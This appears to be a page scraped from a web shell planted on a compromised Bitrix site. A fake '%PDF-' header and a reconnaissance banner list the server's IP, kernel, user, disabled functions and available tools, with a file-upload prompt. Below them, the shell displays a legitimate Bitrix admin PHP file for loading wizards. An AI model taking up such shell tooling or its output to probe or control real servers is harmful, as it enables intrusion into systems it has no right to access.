%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.143.5.131 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/admin/ |
Upload File : |
<? require_once(dirname(__FILE__)."/../include/prolog_admin_before.php"); require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/prolog.php"); define("HELP_FILE", "settings/wizard_load.php"); require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/classes/general/wizard.php"); if(!$USER->CanDoOperation('edit_php') && !$USER->CanDoOperation('view_other_settings')) $APPLICATION->AuthForm(GetMessage("ACCESS_DENIED")); $isAdmin = $USER->CanDoOperation('edit_php'); IncludeModuleLangFile(__FILE__); $strError = $strOK = ""; do { if ( !($_SERVER["REQUEST_METHOD"]=="POST" && $_POST["action"]=="import" && $isAdmin && check_bitrix_sessid()) ) break; if (!is_uploaded_file($_FILES["wizardFile"]["tmp_name"])) { $strError .= GetMessage("MAIN_WIZARD_LOAD_ERROR_LOAD"); break; } elseif(GetFileExtension(mb_strtolower($_FILES["wizardFile"]["name"])) != "gz") { $strError .= GetMessage("MAIN_WIZARD_TAR_GZ"); break; } $wizardPath = $_SERVER["DOCUMENT_ROOT"].CWizardUtil::GetRepositoryPath(); require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/tar_gz.php"); $oArchiver = new CArchiver($_FILES["wizardFile"]["tmp_name"]); if (!$oArchiver->extractFiles($wizardPath)) { $strError .= GetMessage("MAIN_WIZARD_IMPORT_ERROR"); $arErrors = &$oArchiver->GetErrors(); if(count($arErrors)>0) { $strError .= ":<br>"; foreach ($arErrors as $value) $strError .= "[".$value[0]."] ".$value[1]."<br>"; } else $strError .= ".<br>"; break; } $strOK .= GetMessage("MAIN_WIZARD_LOAD_OK"); } while (false); $aTabs = Array(Array("DIV" => "edit1", "TAB" => GetMessage("MAIN_WIZARD_LOAD_TITLE"), "TITLE" => GetMessage("MAIN_WIZARD_LOAD_TITLE"))); $tabControl = new CAdminTabControl("tabControl", $aTabs); $APPLICATION->SetTitle(GetMessage("MAIN_WIZARD_LOAD_TITLE")); require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/prolog_admin_after.php"); echo CAdminMessage::ShowMessage($strError); echo CAdminMessage::ShowNote($strOK); $arMenu = array( array( "TEXT" => GetMessage("MAIN_WIZARD_LOAD_LINK_LIST"), "LINK" => "wizard_list.php?lang=".LANGUAGE_ID, "TITLE" => GetMessage("MAIN_WIZARD_LOAD_LINK_LIST"), "ICON" => "btn_list" ) ); $context = new CAdminContextMenu($arMenu); $context->Show(); ?> <form method="post" action="<?=$APPLICATION->GetCurPage()?>?" enctype="multipart/form-data"> <?=bitrix_sessid_post()?> <input type="hidden" name="lang" value="<?=LANGUAGE_ID?>"> <? $tabControl->Begin(); $tabControl->BeginNextTab(); ?> <tr class="adm-detail-required-field"> <td width="40%"><?echo GetMessage("MAIN_WIZARD_LOAD_FILE")?>:</td> <td width="60%"><input type="file" size="35" name="wizardFile"></td> </tr> <? $tabControl->Buttons(); ?> <input type="hidden" name="action" value="import"> <input <?if(!$isAdmin) echo "disabled" ?> type="submit" name="import" value="<?echo GetMessage("MAIN_WIZARD_LOAD_SUBMIT")?>" class="adm-btn-save"> <? $tabControl->End(); ?> </form> <?require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_admin.php");?>